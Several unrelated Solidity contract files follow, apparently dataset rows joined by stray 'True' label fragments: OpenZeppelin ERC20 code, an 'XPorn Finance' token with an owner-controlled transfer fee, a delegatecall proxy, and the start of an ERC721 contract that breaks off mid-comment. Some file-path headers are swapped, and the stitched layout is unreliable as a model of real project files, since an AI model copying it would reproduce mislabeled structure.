* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity 0.8.4;
contract XPornFinance is ERC20, Owned {
uint256 public minSupply;
address public beneficiary;
bool public feesEnabled;
mapping(address => bool) public isExcludedFromFee;
event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount);
event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary);
event FeesEnabledUpdated(bool enabled);
event ExcludedFromFeeUpdated(address account, bool excluded);
constructor() ERC20("XPorn Finance", "XPorn") {
minSupply = 100000000 ether;
uint256 totalSupply = 1000000000000000 ether;
feesEnabled = false;
_mint(_msgSender(), totalSupply);
isExcludedFromFee[msg.sender] = true;
isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
beneficiary = msg.sender;
}
/**
* @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary
* @dev after a certain threshold, try to swap collected fees automatically
* @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(
recipient != address(this),
"Cannot send tokens to token contract"
);
if (
!feesEnabled ||
isExcludedFromFee[sender] ||
isExcludedFromFee[recipient]
) {
ERC20._transfer(sender, recipient, amount);
return;
}
// burn tokens if min supply not reached yet
uint256 burnedFee = calculateFee(amount, 25);
if (totalSupply() - burnedFee >= minSupply) {
_burn(sender, burnedFee);
} else {
burnedFee = 0;
}
uint256 transferFee = calculateFee(amount, 200);
ERC20._transfer(sender, beneficiary, transferFee);
ERC20._transfer(sender, recipient, amount - transferFee - burnedFee);
}
function calculateFee(uint256 _amount, uint256 _fee)
public
pure
returns (uint256)
{
return (_amount * _fee) / 10000;
}
/**
* @notice allows to burn tokens from own balance
* @dev only allows burning tokens until minimum supply is reached
* @param value amount of tokens to burn
*/
function burn(uint256 value) public {
_burn(_msgSender(), value);
require(totalSupply() >= minSupply, "total supply exceeds min supply");
}
/**
* @notice sets minimum supply of the token
* @dev only callable by owner
* @param _newMinSupply new minimum supply
*/
function setMinSupply(uint256 _newMinSupply) public onlyOwner {
emit MinSupplyUpdated(minSupply, _newMinSupply);
minSupply = _newMinSupply;
}
/**
* @notice sets recipient of transfer fee
* @dev only callable by owner
* @param _newBeneficiary new beneficiary
*/
function setBeneficiary(address _newBeneficiary) public onlyOwner {
setExcludeFromFee(_newBeneficiary, true);
emit BeneficiaryUpdated(beneficiary, _newBeneficiary);
beneficiary = _newBeneficiary;
}
/**
* @notice sets whether account collects fees on token transfer
* @dev only callable by owner
* @param _enabled bool whether fees are enabled
*/
function setFeesEnabled(bool _enabled) public onlyOwner {
emit FeesEnabledUpdated(_enabled);
feesEnabled = _enabled;
}
/**
* @notice adds or removes an account that is exempt from fee collection
* @dev only callable by owner
* @param _account account to modify
* @param _excluded new value
*/
function setExcludeFromFee(address _account, bool _excluded)
public
onlyOwner
{
isExcludedFromFee[_account] = _excluded;
emit ExcludedFromFeeUpdated(_account, _excluded);
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/**
* @title NonReceivableInitializedProxy
* @author Anna Carroll
*/
contract NonReceivableInitializedProxy {
// address of logic contract
address public immutable logic;
// ======== Constructor =========
constructor(address _logic, bytes memory _initializationCalldata) {
logic = _logic;
// Delegatecall into the logic contract, supplying initialization calldata
(bool _ok, bytes memory returnData) = _logic.delegatecall(
_initializationCalldata
);
// Revert if delegatecall to implementation reverts
require(_ok, string(returnData));
}
// ======== Fallback =========
fallback() external payable {
address _impl = logic;
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
} | True | [
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// SPDX-License-Identifier: MIT
// Copyright (c) 2022 pendulum.art / Find us on Twitter: @pendulum_art
/**
* ____ __ __ __
* / __ \ ___ ____ ____/ /__ __ / /__ __ ____ ___ ____ _ _____ / /_
* / /_/ // _ \ / __ \ / __ // / / // // / / // __ `__ \ / __ `// ___// __/
* / ____// __// / / // /_/ // /_/ // // /_/ // / / / / /_ / /_/ // / / /_
* /_/ \___//_/ /_/ \__,_/ \__,_//_/ \__,_//_/ /_/ /_/(_)\__,_//_/ \__/
*
**/
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.11;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.11;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.11;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.11;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.11;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.11;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.11;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.11;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.11;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
